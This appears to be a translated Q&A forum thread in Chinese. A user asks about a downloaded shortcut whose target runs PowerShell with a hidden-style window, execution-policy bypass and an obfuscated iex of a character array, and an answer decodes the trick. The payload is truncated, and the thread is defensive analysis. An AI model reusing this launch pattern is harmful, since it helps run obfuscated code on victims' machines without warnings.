我下载了一个文件,几乎没有三思而后行,但是(快捷方式的)目标引起了我的注意:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP  . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]

毫无疑问,这里发生了一些可疑的事情。我了解前三个参数,但是我无法弄清楚的是,这样的有效负载代码将如何在基本的快捷方式中起作用?

最佳答案

我的猜测是,它与

  • NoProfile
  • WindowStyle 1 =最小化的
  • ExecutionPolicy ByPass =没有任何阻止,没有警告或提示
  • 然后
  • 点源剩余的代码

  • 让我们分割一下这段代码:
    ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
    
    $ShellId是内置的Powershell变量:
      >$ShellId
      Microsoft.PowerShell
    

    因此( $shelliD[1]+$SHeLlID[13]+'x')转换为iex(= Invoke-Expression)

    其余代码是([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]。我猜测char数组包含ascii字符。如果是这样,我们可以将其转换为:
    $aspx =
    

    概要:
    powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy ByPass . iex "$aspx = ...."
    

    因此,它将在最小化的Powershell窗口中调用以$aspx =开头的代码,而不会发出警告或提示。

    也许代码通过了这些obfuscation methods之一。

    希望能有所帮助。

    10-08 08:04